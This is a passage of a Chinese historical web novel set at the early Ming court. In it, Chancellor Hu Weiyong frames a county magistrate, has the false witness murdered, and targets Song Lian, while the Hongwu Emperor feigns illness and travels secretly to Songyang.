不得不说,胡惟庸在朝堂上经营了这么多年,自身没有一点本事那是不可能的。 他本就是元朝旧臣,靠着李善长的推举,才一路做到当朝宰府。 如今早已是一只老狐狸,一言一行都让人难以找到破绽。 “看来上一次的敲打反而让胡惟庸更加老谋深算了。” 朱元璋暗暗有些懊恼,之前胡惟庸肆意妄为的时候,他对胡惟庸小惩大诫,如今胡惟庸收敛起来,一时间还真找不到什么理由。 并且最关键的是,如今胡惟庸手里有徐彦祖通倭的人证物证,虽然明知是假,但朱元璋也不得不查。 “既然有人证物证,那就传他上来问话。” 朱元璋淡淡说道。 很快,人证就被押了上来。 朱元璋还未曾开口询问,那人就扑通一声跪倒在朱元璋的面前,大声喊道:“草民叩见陛下,草民要状告松阳县县令徐彦祖通倭!” 朱元璋面色一冷,这一看就是胡惟庸买通来污蔑徐彦祖的人:“将你知道的事情说出来,倘若有办点假话,咱就诛你九族!” 可即便面对朱元璋的威胁,那人也只是神色惶恐道:“陛下,草民所言句句属实,徐彦祖确实有通倭的嫌疑。” “草民的商队在松阳县花高价买了一批珍贵的琉璃器皿。可是才出松阳县城就被倭寇打劫,抢走了货物和身上的财物。在打斗期间,那群倭寇手中的兵器遗落,而这兵器正是松阳县打造而出,兵器上面还有松阳县的落款!” 说完,一旁就有人递上了武器。 朱元璋接过一看,果然发现上面有松阳制造这四个大字。 并且从不同角度看去,那松阳制造四个字还会变换其他的色彩。 很明显,这把武器就是出自松阳。 之前朱元璋还问过徐彦祖这个问题,为什么要在制造的东西上印上这四个字。 徐彦祖当时告诉朱元璋,他这是想要让松阳制造以后成为整个大明乃至整个世界的招牌,因此用了特殊的手法烙印上了这四个字。 徐彦祖将其称为商标。 如今人证物证俱在,朱元璋也不好继续偏袒徐彦祖,他思索片刻后对一旁的太监吩咐道:“传咱的旨意,这件事就交给锦衣卫去办,务必要给咱查清楚,绝对不能冤枉一个好人,也不能放过一个坏人。” 见朱元璋已经下旨,胡惟庸的目的已经达到,早朝随之散会。 等到众人走后,朱元璋将之前跟随自己去过松阳县的锦衣卫叫到殿内。 不过,并没有叫上毛镶。 毕竟毛镶和徐彦祖之间有矛盾,朱元璋怕毛镶从中作梗。 这一次胡惟庸对徐彦祖发难,哪怕有朱元璋偏袒,可若是不查明真相,朱元璋也不好保下徐彦祖。 同时,朱元璋也十分好奇。 他在松阳县住了那么多天,自然知道松阳县所谓的琉璃不过是一种名为玻璃的器具。 虽然和琉璃十分相似,可价格和真正的琉璃想必却是天差地别,甚至在松阳县这就是烂大街的东西,家家户户都有。 因此这其中必定还有他所不知的隐情。 想到这里,朱元璋便对下面的锦衣卫吩咐道:“先去暗中调查那个污蔑徐彦祖之人,看看这背后有没有其他的隐情。” 在朱元璋看来,想要调查清楚事情真相,还得先从那个污蔑徐彦祖的人开始。 “属下遵命!” 锦衣卫点点头,随后退去。 此时远在松阳县的徐彦祖还不知道一场针对他的阴谋已经开展,依旧每日带着朱棣在种植园中忙碌,一片岁月静好的景象。 第八十四章 灭口商人 反观应天府,如今却是一副山雨欲来风满楼的样子。 锦衣卫第一时间就找上了污蔑徐彦祖的商人,暗中跟踪调查。 而在相府之中,胡惟庸则是又一次找来了小泉太郎。 “不知相爷找我何事?” 小泉太郎有些疑惑。 按理来说如今这个时候,胡惟庸不应该找自己才对。 胡惟庸在朝堂上对徐彦祖发难,势必会引起朱元璋的注意,这个时候要是让朱元璋发现他这个东瀛人出现在胡惟庸的府上,只怕立刻就会引来朱元璋的震怒。 胡惟庸自然知道这样做十分冒险,但事情紧急,他不得不做。 他看向小泉太郎,开门见山说道: “有件事情需要你现在立刻去办。” “今日在朝堂上做证的那个人,势必会引起锦衣卫的注意,他知道事情的真相,这样的人不能留,一旦让锦衣卫的人抓到他便后患无穷。” 胡惟庸语气急切,他之所以第一时间把小泉太郎叫来,甚至不惜冒着被锦衣卫发现的风险,就是为了灭口。 小泉太郎却有些迟疑,毕竟他派出来作伪证的那人是他的手下,在这个关键时候将此人灭口,让他手底下的人怎么看他,到时候他还如何领导那些人。 “胡相,一定要灭口吗?” 小泉太郎多问了一句。 岂料,听到小泉太郎的询问,胡惟庸轻蔑一笑,留给小泉太郎一个意味深长的眼神后径直起身离开。 不过在临走之前,胡惟庸却撂下话语:“小泉君,你连背叛东瀛的事情都能做,怎么现在让你杀个人,反倒畏首畏尾的,你好好想想吧。” 跟在一旁的管家知道小泉太郎的顾虑,对其劝说道:“小泉君,锦衣卫那群人你也知道,没有人能够在他们的手里隐藏秘密,活人进去不死都要退三层皮,你觉得你手底下那个人能坚持住这些酷刑吗?” “一旦他将事情全部吐露出来,首当其冲的就是你们这群东瀛人,你可别忘了,这里是大明,是应天府,不是东瀛。” 管家的话让小泉太郎神色凝重,随后重重点头。 “我明白了,还请总管转告胡相,我现在就带人去解决此事,绝对不会让锦衣卫得手。” 小泉太郎也明白,这里是应天府,一旦事情败露,他们这群东瀛人的下场就只有一个死字。 正所谓死贫道不死道友,小泉太郎为了活下去连国家都敢出卖,区区一个手下,无非只是让他内心挣扎了一下而已。 与此同时,那名做证的商人正按照原先的计划出城。 殊不知,小泉太郎已经带着小野君埋伏在了出城之后的路上。 这也是一开始小泉太郎的想法,让其从朝堂上离开后就彻底消失,只是现如今极有可能被锦衣卫给盯上,所以小泉太郎必须动手。 “小泉君,只要他离开应天府,天下之大找个地方躲藏起来,再不济就偷渡回国,我们有必要赶尽杀绝吗?” 小野君有些不忍,毕竟是自己的同伴。 小泉太郎闻言,对小野君质问道:“你可知如今锦衣卫已经盯上了他?要是让他被锦衣卫抓走了,你我还有其他人能活吗?” 此言一出,小野君顿时陷入了沉默。 最终,他只能无奈接受这个事实。 另外一边,锦衣卫已经跟踪上了商人,发现其准备出城,立刻尾随在后面。 出城之后,只见商人刚走到路边,一旁就窜出了两个人将其拦住,随后三人交谈起来。 见状,两个锦衣卫藏身到一旁的密林中。 “头,我们要不要现在动手将他们三人都抓捕起来,这两个很有可能是他的同党。” “先等等,我们先偷摸过去看看他们说些什么。” 两个锦衣卫打定主意后就慢慢朝着三人而去。 与此同时,被小泉太郎和小野君拦住的商人先是一惊,不过当看到两人时面色又缓和下来。 “小泉君,小野君,你们是来送我一程的吗?” 商人有些感动。 闻言,小野君脸色有些不太自然,不过小泉太郎却是笑着搂住商人的肩膀说道:“没错,我们正是来送你一程的,祝你一路顺风。” 说着,小泉太郎的另外一只手握着一把匕首,随即猛的插入商人的心脏。 同时还对身边的小野君呵斥道:“还不上来帮忙!” 商人瞳孔猛的一缩,他没想到小泉太郎二人竟然是为了杀自己而来。 虽然胸口被小泉太郎插入了匕首,但是在自身的求生欲催动下,商人还是猛的推开小泉太郎想要逃回城中。 可小野君早已经在一旁准备好,当商人打算转身的时候,小野君拔出腰间的武士刀,一刀毙命。 “这就对了,我还以为你不会动手呢。” 见小野君干净利落的解决掉商人,小泉太郎打趣道,同时他那悬着的心也终于放了下来。 只要商人一死,那栽赃嫁祸徐彦祖的事情就死无对证,胡惟庸道计划达成,他也可以趁此机会避避风头了。 小野君没有说话,只是默默的将武士刀上的血迹擦拭干净,随后朝商人深深鞠了一躬。 小泉太郎见到这一幕,露出一个讥讽的笑容,刚才小野君下手的时候可是毫不留情,如今这副模样不过是为了欺骗自己的内心罢了。 此时在后面潜藏的锦衣卫看到这一幕,两人神色大变。 “不好!他们这是要杀人灭口,不能让他们跑了!” 领头人当机立断开口,纵身一跃就跳了出来。 然而小泉太郎和小野君早就有所防备,他们知道商人必定被锦衣卫所盯上,因此在两个锦衣卫现身的时候,他们已经离开了追击范围。 只留下两个锦衣卫看着他们逃离的身影面色难看。 “头,现在该怎么办?” 手下也没想到居然会发生这样的事情。 领头人同样如此,他看着已经气绝身亡的商人顿感棘手。 要知道这个商人可是破案的关键,如今死在两人面前,朱元璋得知此事之后必然雷霆震怒。 两人身上一个失职之罪是跑不了的。 领头人深吸一口气,无奈说道:“回去复命吧。” 第八十五章 朱元璋对猜测 “你说什么?让你们跟踪的商人死了?” 当朱元璋听到这个消息的时候,整个人猛的从龙椅上起身,一股怒火冲天而起。 他怒目圆睁,对面前的锦衣卫怒斥道:“你们锦衣卫是干什么吃的?竟然看着人在你们眼皮子底下被人杀害,而且凶手还大摇大摆的离开!” “要是这凶手来皇宫内刺杀咱,是不是也能大张旗鼓离开!” 朱元璋这话说的极重,吓的跪在殿内的锦衣卫大气都不敢喘,只能将头死死贴在地面上。 “回皇上,属下有罪,是属下失职!” 朱元璋神色依旧愤怒,他恨铁不成钢道:“蒋瓛啊蒋瓛!咱对你委以重任,你就这样办事?早知道你如此不得力,咱还不如让毛镶去办这件事。” 听到这话,蒋瓛嘴角苦涩,他解释道:“回皇上,是属下失职,辜负了皇上的信任。” 毛镶的副手,蒋瓛在锦衣卫里的地位几乎仅次于毛镶。 蒋瓛自然也想在朱元璋面前好好表现一番,因此这一次才会亲自出马。 可是却发生了这样的事情,让重要的人证死在面前,他难辞其咎。 当然,蒋瓛也有不得已的苦衷,他虽然是副指挥使,可能调动人员的权利却远远不如毛镶。 加上马皇后这一次去松阳县,调走了他麾下大部分的人手,所以才带着亲信监视商人。 谁承想竟然遇到这样的事情,倘若他人手足够,早就布下天罗地网,岂会让那两个杀人凶手离开。 朱元璋看着跪地不起的蒋瓛,拂袖转身。 “行了,你也别跪着了。咱既然把事情交给你了,你就得给咱办好,务必彻查整个应天府,把两个人杀人凶手给我找出来,要是找不出来,你就提头来见吧。” 这话让蒋瓛松了一口气,只要朱元璋没有第一时间追究他的责任,那他就还有戴罪立功的可能。 但同时,蒋瓛也向朱元璋请求道:“回皇上,属下人手有些不够,须得向毛镶统领借调人手才行。” 此言一出,朱元璋眼睛微微眯起,他疑惑的看了蒋瓛一眼,随后说道:“你去找毛镶,就是有咱的口谕,让他配合你搜查整个应天,现在就去办。” 蒋瓛重重点头,神色一喜,有了朱元璋这话,毛镶就不能暗中给他使绊子了。 “属下遵命,多谢皇上开恩!” 等到蒋瓛离开之后,朱元璋看向身旁的贴身太监王安道,淡淡问道:“你说,这其中会不会有毛镶的手脚?” 很明显,刚才蒋瓛说出毛镶对名字之后,已经让朱元璋对其起了疑心。 毕竟除了胡惟庸之外,毛镶和徐彦祖同样不对付。 更何况,随着锦衣卫暗中的调查,朱元璋竟然发现毛镶和胡惟庸之间有所往来,所以这一次朱元璋才没有让毛镶来办这件事情。 面对朱元璋的询问,杜安道不敢回答,只能摇摇头默然不语。 毕竟毛镶可是锦衣卫权力最大的人,更是朱元璋的贴身侍卫,要是此人和胡惟庸有关联,那后果简直不堪设想。 朱元璋自然也明白这一点,但是在他看来,这件事情不会像表面上看起来那么简单。 虽然只有蒋瓛和其亲信两个锦衣卫跟随,但是他们的武艺远超常人,都是能以一敌十的好手,之前的任务更是从未失败过,怎么会发生这样的失误。 不过朱元璋也知道事关重大,当务之急更是因为查清楚事情的真相。 至于毛镶和胡惟庸之间究竟有没有关系,日后定能知晓。 可接下来的两日内,这两个杀人凶手就跟人间蒸发了一般。 蒋瓛带着锦衣卫快要将整个应天府都翻过来了,然而却搜查不到这两人丝毫的踪迹。 当朱元璋得到这个消息的时候,顿时就明白了这两人背后必定有其他人在指使,而且指使之人的官职还不低。 否则的话,要是一般的官员,早就在锦衣卫的搜查下无所遁形了。 唯独有一些官员职位身份地位很高,锦衣卫无法进去搜查。 否则,锦衣卫怎么可能找到这两个人的身影。 “不过,究竟是何人在背后指使呢?是胡惟庸?还是其他的官员?” 朱元璋第一个想到的自然是胡惟庸。 毕竟这件事就是因胡惟庸而起,可是锦衣卫对胡惟庸进行了密切的监视,要是胡惟庸真的有什么动作,应该瞒不过他的眼睛才是。 除非,毛镶真的和胡惟庸有联系! 可就在朱元璋思考的时候,外面有太监跑进来传讯道:“回禀皇上,胡惟庸胡大人求见!” 朱元璋神色一凝,他疑惑道:“胡惟庸这个时候来找咱,是为了什么?” 不过疑惑归疑惑,朱元璋还是点头说道:“让他进来吧。” 很快,胡惟庸就大步流星走进殿中。 “臣胡惟庸,参见皇上,皇上万岁万岁万万岁!” 胡惟庸躬身行礼。 朱元璋则是手持奏折,瞥了他一眼后淡淡说道:“胡惟庸,来找咱有何事啊?” 对于朱元璋这副淡漠的态度,胡惟庸并不生气。 相反,朱元璋越是这样,越证明如今在对待徐彦祖的事情上毫无头绪,而这自然是胡惟庸想要看到的。 他向朱元璋拱了拱手,说道:“启奏皇上,臣听闻有关徐彦祖通倭一案的证人于前两日被人在城外杀害,此事臣觉得其中另有隐情。” “隐情?呵呵,你的耳朵倒是灵活!” 朱元璋神色古怪的看了胡惟庸一眼,在他看来,这件事情当中最大的始作俑者就是胡惟庸。 可是如今胡惟庸竟然来找自己,当着自己的面说这其中有隐情,这岂不是贼喊捉贼。 不过朱元璋也倒想看看胡惟庸想说些什么,他故作好奇问道:“喔?莫非惟庸你发现了什么不成?” 胡惟庸摇了摇头:“回皇上,臣只是觉得这件事情没有表面上看来那么简单,根据臣的猜测,这件事情极有可能是徐彦祖所为!” 见胡惟庸将罪责强加到徐彦祖头上,朱元璋神色不悦。 “胡惟庸,徐彦祖远在松阳,这里可是应天府,莫非他一个小小七品县令的手还能伸到咱的皇都里不成?” 第八十六章 狼子野心 眼见朱元璋神色不悦,可胡惟庸却没有消停的打算。 他拱了拱手说道:“皇上,臣之前就已经说过,您在松阳所见的一切,极有可能都是徐彦祖对您的欺骗。倘若徐彦祖当真敢勾结倭寇,那么势必会在应天府安插探子,甚至这件事情的背后,很有可能还有其他人为徐彦祖做靠山,不得不防啊!” 乍一听,胡惟庸这话说的的确有几分道理。可是在朱元璋看来,就凭徐彦祖在松阳县那悍不畏死的样子,为了百姓为了国策,甚至甘愿冒天下之大不韪来怒喷他这个皇帝,可见徐彦祖对大明朝的一片忠心。 要知道,如果不是马皇后在一旁为徐彦祖求情,朱元璋早就下令把徐彦祖推出去砍头了,又何必等到现在胡惟庸来陷害对付徐彦祖。 “胡惟庸,事到如今还没有结果,还是先等锦衣卫查了再说。” 朱元璋神色冷淡。 见状,胡惟庸也识趣的离开了。 朱元璋本以为胡惟庸接下来会消停一段时间,最起码也要等到锦衣卫查出一个结果再说。 然而让他没想到的是,次日应天府就传出消息称,宋濂大学士家中藏有凶手,并且还有一些宋濂和徐彦祖往来的书信。 当朱元璋得知这个消息的时候,第一反应就是有人在往宋濂身上泼脏水! “真是混账!他们也太大胆了!” 朱元璋眼里充斥着怒意。 哪怕宋濂第一时间就大开门庭主动让锦衣卫进去搜查,可是即便锦衣卫一无所获,没有找到任何有关凶手的踪迹,可是应天府还是在四处流传,这两个杀人凶手就是徐彦祖暗中指使,甚至连商队的事也泄露了出去。 并且还有人在背后推波助澜,说大学士宋濂就是徐彦祖背后的靠山。 现如今整个应天府的百姓人心惶惶,百姓们都担心这两个凶手会不会再次犯案。 朱元璋自然明白,这背后绝对有胡惟庸的手笔。 不然如此小的一件事情,怎么可能闹的满城风雨。 可这不过仅仅只是一个开始。 次日的早朝上。 胡惟庸等淮西勋贵翘首以待,等到朱元璋现身之后,立刻上了奏折。 “皇上,臣等恳求皇上彻查宋濂和徐彦祖之间是否存在勾结,是否有其他官员在徐彦祖背后做其靠山,还请皇上明查!” “如今应天府被徐彦祖一事搅的民不聊生,皇上不能再被徐彦祖此獠继续蒙蔽下去了!” 胡惟庸身后的淮西勋贵纷纷上奏,还有不少官员也联名参奏宋濂。 一时间,矛头竟然转到了宋濂对身上。 朱元璋看着台下跪着的群臣,还有神色悠然自得的胡惟庸,他眼里闪过一抹杀意。 刚才那些淮西勋贵点到的名字,除了宋濂之外,还有浙东集团的其他官员。 这已经不仅仅是要针对徐彦祖,而是胡惟庸这群淮西勋贵想要趁此机会将朝堂上的浙东集团连根拔起。 这样一来,今后这个朝堂可就是他们淮西一派说了算了。 为了避免成为胡惟庸的一言堂,朱元璋自然不会答应彻查宋濂。 更何况,宋濂还有一个身份,那就是太子老师。 要是宋濂真让胡惟庸等人栽赃陷害成功,该让太子朱标置于何处! 不过面对这么多官员的奏请,朱元璋也没有全部驳斥。 他用手扶着额头,眉目低垂看着诸位大臣说道:“这件事情咱会派锦衣卫下去好好调查,今日咱身体有些不太舒服,早朝就到这里为止,有事情日后再奏。” 说罢,朱元璋在太监的搀扶下离开了早朝。 众大臣不由面面相觑,他们没有想到朱元璋竟然巧妙地避开了今日的议事,目光全都落在胡惟庸的身上。 “胡相,陛下身体抱恙,这件事情我们还要不要继续上奏?” 有大臣上前问道。 胡惟庸挑了挑眉,什么身体抱恙,不过是朱元璋想要将此事给拖过去而已。 然而这一次胡惟庸可是打定主意要利用这件事将整个浙东集团一举铲除 又怎么可能会轻而易举善罢甘休。 于是,他环顾四周看向众人说道:“陛下身体抱恙,诸位就先养陛下休养几天。不过有折子的话,可以先转交于本相,为了避免陛下劳神伤身,本相会酌情一观后转呈给陛下观看。” 胡惟庸这话说的十分巧妙,表面上看是为了朱元璋着想,实际上暗中又将观看奏折的权利拿了回来。 到时候,什么奏折给朱元璋看,还不是他胡惟庸说了算。 此言一出,淮西勋贵这边的人神色一喜。 这样一来的话,胡惟庸大权在握,他们也可以顺势上奏一些对自己有利的奏折。 而反观其他一些官员则是神色各异,尤其是那些浙东集团的官员更是一脸的不自然。 如果奏折无法越过胡惟庸传递到朱元璋的手里,那对他们而言无异于灭顶之灾。 毕竟直达天听的机会没有了,看今日胡惟庸等淮西勋贵的做派,很明显要打压他们。 可是胡惟庸身为左相,这样做虽然有些专横独断,可如今他们浙东集团势微,自然是敢怒不敢言。 与此同时,身在宫内休养的朱元璋自然也得知了胡惟庸在大殿内对官员说的话。 他神色冷冽,嘴角带着讥讽:“好一个胡惟庸,终究还是把狐狸尾巴漏出来了。咱前几日才让他好好休息,他倒好,一刻都闲不下来,我大明朝要是再多几个这样的人,何愁大明不兴。” 一旁的杜安道低着头大气都不敢喘。 别看朱元璋这话说的好像是在夸胡惟庸,可实际上早已经将对胡惟庸的不满和杀意显现无遗。 要知道前几日朱元璋已经对胡惟庸小惩大诫,本以为胡惟庸会收敛一些,结果如今就如同那苍蝇一般,找到缝隙就往里钻。 见到有机会掌权,就毫不掩饰自己对权利的野心,完全没有把朱元璋放在眼里。 整个大殿的气氛更是压抑无比,落针可闻。 半晌之后,朱元璋神色逐渐归于平淡,他看了一眼杜安道说道:“去将太子叫来,咱有话和他说。” 第八十七章 故布疑阵 很快,一阵急匆匆的脚步就在大殿内响起。 等到太子朱标见到朱元璋的时候,后者的面前摆放着一盘棋。 “标儿你来了,坐吧。” 朱元璋头也不抬目光一直放在棋盘上。 朱标不由好奇地朝着棋盘上看去,只见棋盘上白子和黑子厮杀成一片,可是黑子的局势却不容乐观。 “父皇今日怎么有空下起棋来了?” 见朱元璋的注意力还在棋盘上,甚至还自顾自的对弈,朱标也不禁疑惑问道。 面对朱标的疑问,朱元璋将手中的棋子放下,指着面前这盘棋说道:“这盘棋,以前我和刘伯温经常下,最后都是我赢,你知道这是为什么吗?” 朱标不假思索回道:“自然是因为父皇棋艺高超,青田先生虽然号称算无遗策,可是父皇毕竟是天下之主,胸怀见识远远不是刘伯温可比。” 面对朱标的夸赞,朱元璋虽然很是受用,可还是摇头笑道:“标儿,咱以前就是个泥腿子出身,是个乞丐,要说棋艺,那也是当了皇帝才开始接触,和刘伯温相比可差远了。” 自己什么样子自己知道,朱元璋当然知道要论棋艺,十个自己也不是刘伯温的对手。 “可即便咱的棋艺不如刘伯温,咱在棋盘上也从来没有输给过刘伯温,这是因为咱是皇帝,他不敢赢,也不能赢!” “他刘伯温什么都懂,因为了解咱,所以畏惧咱。” 朱元璋说到这里的时候眼里闪过一缕厉色。 “正因为咱是皇上,所以天下之人,上到文武百官下到黎民百姓,无不对咱敬畏。可现如今那胡惟庸,不臣之心昭然若揭,仗着朝廷中绝大部分让都是他淮西勋贵一派,竟然对浙东集团的宋濂泼脏水,还要逼迫咱彻查宋濂!” “标儿,你觉得这样的人,咱还有留他的必要吗?” 朱元璋此言一出,朱标脸色微微一变。 他明白,朱元璋这是对胡惟庸起了杀心,但他心中更多的则是对胡惟庸胡作非为的愤怒。 朱标心里清楚,就胡惟庸的那些所作所为,早就已经触犯了朱元璋的底线,但是朱元璋念在胡惟庸是跟随他打天下的旧部,所以迟迟没有对他动手。 事到如今,胡惟庸此举不仅仅是在铲除异己浙东集团,更是有借宋濂给他这个当朝太子泼脏水的嫌疑。 朱标深吸一口气,俯身对朱元璋表明态度,一字一句说道:“父皇,事到如今胡惟庸已然不能留,但是目前在铲除胡惟庸之前,还须将其针对徐彦祖和浙东集团的阴谋粉碎,否则一旦铲除掉胡惟庸,我大明朝将会元气大伤,无人可用。” 朱标这话让朱元璋微微颔首。 他自然明白解决胡惟庸不是问题,关键是将胡惟庸铲除之后却不能让朝廷出现漏洞。 如今胡惟庸要对整个浙东集团的官员动手,一旦让其成功,到时候朝堂上下遍布的都是胡惟庸的人,这样一来就再也无法对胡惟庸动手了。 “标儿,依你看,该如何解决胡惟庸的阴谋?如何破局?” 朱元璋将问题丢给了朱标。 朱标闻言,嫣然一笑。 这问题看似棘手,但是他在来的路上就已经仔细思考过了。 “父皇,正所谓解铃还须系铃人,既然这一切的事情都是由徐彦祖,由那松阳县而起。加上如今做证的证人已死,那么破局的办法自然就落在了徐彦祖身上。只要找徐彦祖了解一切,加上徐彦祖的聪明才智,必然可以解决。” 朱元璋听到这话猛的起身,赞叹道:“好一个解铃还须系铃人,我们都把徐彦祖这个关键人物给忘了,这小子主意多,而且这一次是别人往他身上泼脏水,我不信他不会绞尽脑汁去解决。” “标儿,你且留在应天府监视胡惟庸的一举一动,我现在就带锦衣卫去松阳县。” 朱元璋说干就干,叫来锦衣卫就打算出来。 可还没踏出门口,就被朱标拦了下来。 “父皇,我一人只怕威信不够,不一定镇得住胡惟庸,还是父皇留下,我去松阳县查探消息吧。” 朱标可是对朱元璋口中的徐彦祖感到无比好奇,如今有去松阳县的机会,他怎能错过。 然而,朱元璋却看穿了他的小心思。 “标儿,我看你不是怕威信不够,你是想去见一见徐彦祖这小子吧。” 朱标可是朱元璋钦点的太子,就算那胡惟庸有天大的本事,最多就是在朱标的眼皮子底下搞搞小动作,毕竟朝中淮西勋贵一派里,可是有不少人都站队朱标,等着做一朝天子一朝臣呢。 见朱元璋点破自己的想法,朱标也不再掩饰。 “父皇,儿臣的确对这位松阳县县令十分好奇。” 见状,朱元璋不由哈哈大笑起来,不过即便如此,但朱元璋依旧不打算让朱标前往松阳县。 他神色一正,语重心长的对朱标说道:“现如今我在诸位大臣的眼里是抱恙之身,将国家大事交由你来批复正好合适,也不会引起胡惟庸的怀疑,稍后我就下一道圣旨,依旧和之前一样,让胡惟庸辅佐你监国,不过这一次你可不要轻易被胡惟庸所蒙蔽。” “尤其是在我回来之前,一定要稳住局势,稳住胡惟庸,不要让他对浙东集团的那些官员发难,各种尺寸你自己把握。” 朱标点了点头,心中幽幽一叹,看起来只能另找机会去见一见徐彦祖了。 随后,皇宫内传出一道圣旨。 朱元璋龙体有恙,要休养一段时间,在此期间就由太子朱标监国,胡惟庸这位左丞相辅助。 当消息传到相府的时候,胡惟庸神色无比疑惑。 当时在朝堂上,明眼人都看得出来朱元璋这是装病逃避对宋濂的彻查,可如今竟然当真病倒了。 “皇上这是放权,还是又一次对我的试探?” 有了之前的事情之后,胡惟庸不得不小心谨慎一些,毕竟如今可是彻底铲除浙东集团的关键,他可不能让朱元璋找到理由再让自己回府反省。 殊不知,朱元璋不过是故布疑阵,此时他已经趁机乔装打扮带着一队锦衣卫前往松阳县。 第八十八章 父慈女孝 松阳县内,马皇后依旧还是和褚宁每日外出游山玩水,全然已经将找女儿的事情忘在了脑后。 至于朱棣,则是跟随在徐彦祖身边,一直在红薯种植园中忙碌,在此期间,朱棣也从徐彦祖身上学到了很多的理论知识和实践经验。 甚至徐彦祖看朱棣如此勤奋好学,还打算批一块田地给朱棣自己实验。 得知这个消息之后,朱棣脸色一喜,而且当晚徐彦祖破天荒的没有留他继续劳作,吃过晚饭之后就放了他的假。 当朱棣兴高采烈回到酒店打算和马皇后分享这个好消息时,发现房间外面多了几个面生的锦衣卫。 朱棣神色疑惑,他探头朝着房间内望去,入眼便是朱元璋那高大的背影。 “父皇!” 朱棣不由一惊,随后心中一喜。 朱元璋来到松阳县,那他这段时间的所作所为一定会得到朱元璋的夸奖。 听到朱棣的声音,朱元璋回头打量了他一眼,当看到朱棣裤腿上的泥渍时,眉头不由一皱。 “老四,你这是干什么去了?先去洗洗。” 朱元璋嫌弃的瞥了他一眼。 朱棣闻言,尴尬一笑,他急于回来和马皇后分享好消息,所以一时间没来得及清洗,正好被朱元璋撞个正着。 “父皇莫怪,儿臣这就去清洗。” 说罢,朱棣转身逃也般的离开。 见状,朱元璋有些不满道:“都是当王爷的人了,还这么毛毛躁躁的。” “重八,老四这段时间可是跟随徐彦祖学了不少东西,你别看他裤腿衣服上都是泥土,那都是因为和徐彦祖一直在红薯种植园中忙碌。” 马皇后在一旁打起了圆场。 朱元璋闻言,想起了马皇后之前给自己写的信件,不禁问道:“妹子,你刚才说的红薯莫非就是你信件中说的可以亩产五千斤的粮食?” 马皇后点点头,回道:“正是,虽然如今徐彦祖还不肯出售红薯,但是之前我已经往应天府寄回去了一批水稻的种子,产量同样惊人,重八你应该已经收到并且开始种植了吧?” 听到马皇后这话,朱元璋不由面露无奈之色。 他当然收到了马皇后寄回来的种子,可是应天府发生了那么多的事情,他哪有闲心去管什么种子,这些天因为徐彦祖的事情,他感觉自己都憔悴了不少。 不过朱元璋也注意到,马皇后自从来到松阳县之后,气色可比之前回宫之时要好多了。 马皇后一直都为女儿的事情黯然神伤,如今气色这么好,朱元璋只能想到一种可能。 他看向马皇后,急切问道:“妹子,是不是女儿找到了?” 马皇后笑着点点头。 “那我们的女儿呢?快让我看看,这么多年可算找到她了!” 朱元璋无比激动。 然而马皇后神色却有些怪异。 “重八,女儿她已经回去了,你想要见的话,只能明天了,并且还不能暴露身份。” 朱元璋十分疑惑,明明已经找到了女儿,为何还不能暴露身份。 看着朱元璋疑惑的神情,马皇后哭笑不得说道:“因为我们的女儿就是褚宁姑娘,如今她还不知道我们的真实身份。” 当得知亲生女儿竟然是褚宁时,朱元璋顿时瞪大了眼睛。 虽然之前就设想过这事,可当真正落在身上的时候,朱元璋还是一时间有些难以接受。 毕竟谁不想要一个乖巧听话懂事黏人的女儿呢。 但是褚宁性格乖张,脾气古怪,最重要的一点,根本就没有把他放在眼里过。 倘若让褚宁知道自己就是他爹,那岂不是要上演一场父慈女孝? 想想那画面朱元璋就不由打怵。 “妹子,还是先不要让褚宁知道我们身份为好。” 何止褚宁没有准备好,朱元璋也同样没有准备好。 朱元璋摇了摇头,将脑子中那些父慈女孝的画面甩开,随后就这马皇后之前说的话问道:“妹子,你刚才说老四这段时日一直都跟在徐彦祖身边,那他可否学到什么有用的东西?” 毕竟将朱棣派来松阳县为的就是磨炼学习,这也是朱元璋在意的东西。 马皇后点点头,神色满是对朱棣的赞赏:“老四这段时间勤学苦练,在徐彦祖身边学到了许多东西,可以说是学有所成,如今的老四和刚来松阳县的时候简直是天差地别。” 见马皇后给了朱棣如此高的评价,朱元璋也升起了好奇之心。 他不由笑道:“既然你这个为娘对这么夸赞自己的儿子,那咱这个当爹的待会可要好好考究他一番。” 马皇后爷跟着笑了起来:“士别三日当刮目相看,重八你就看好吧。” 等到朱棣清洗回来之后,朱元璋直接开门见山问道:“老四啊,你娘说你跟在徐彦祖身边学有所成,不知你都学到了些什么东西?咱问你,如果你就藩之后,你会如何发展?” 朱元璋这话让朱棣神色一凛。 虽然知道太子之位是大哥朱标的,无可撼动,但朱棣心中还是有些失落。 不过面对朱元璋的询问,他还是挺起胸膛回道:“回禀父皇,根据儿臣这段时日跟在徐彦祖身边的所见所学,儿臣以为就藩后首先要发展的应该是农业。” “正所谓民以食为天,只要有了充足的粮食,治下的百姓就能够过上安居乐业的生活。这段时日以来,儿臣跟随在徐彦祖身边,不仅仅接触了红薯的种植,还有其他数种农作物对种植儿臣也有过参与。” 随即,朱棣侃侃而谈,将自己这段时间从徐彦祖那里学到的种植经验一股脑地说了出来,并且还预估了这些农作物的产量。 随着朱棣的讲述,朱元璋的眼睛也亮了起来。 正所谓行家一出手,便知有没有。 朱元璋也是泥腿子出身,朱棣说的很多理论朱元璋都知晓,同时对那些农作物惊人的产量也感到惊叹。 一旁的马皇后见朱元璋挺直腰背聚精会神的倾听,就知道朱元璋对朱棣十分满意,她的眼里也有着雀跃之色。 手心手背都是肉,朱标能够得到朱元璋的另眼相看,她自然高兴。 第八十九章 试探徐彦祖 “老四,学的不错。” 朱元璋满意的点点头。 虽然朱元璋对朱棣的夸赞就如此短短几个字,但是那满意之情都要溢出眼眶了。 “咱如今没什么好赏赐你的,咱先记你大功一件,等回京之后再行论赏。” “多谢父皇!” 朱棣神色一喜,当儿子的,最渴望的自然是得到父亲的认可。 同时,马皇后也好奇朱元璋怎会突然来到松阳县。 国不可一日无君,哪怕有太子监国,朱元璋身为皇帝也不能乱跑。 她不禁对朱元璋问道:“重八,你怎么有时间来松阳县,是不是有什么事?” 面对马皇后的询问,朱元璋面色一沉,点了点头。 他看了两人一眼,神情严肃道:“我这一次来松阳,乃是为了胡惟庸和徐彦祖而来。” “胡惟庸?” 马皇后和朱棣不由面面相觑,两人都知道之前胡惟庸派人来寻找徐彦祖的罪证,甚至打算除掉徐彦祖。 可是被徐彦祖靠着高强的武艺化解。 这段时间两人都没有在松阳县发现胡惟庸手下的踪迹,本以为胡惟庸这是偃旗息鼓,放了徐彦祖一马。 然而没想到胡惟庸竟然会在应天府发难。 “重八,究竟是怎么回事?” 马皇后心中隐隐有种不好的预感,能够逼的朱元璋来到松阳,事情必定非常棘手。 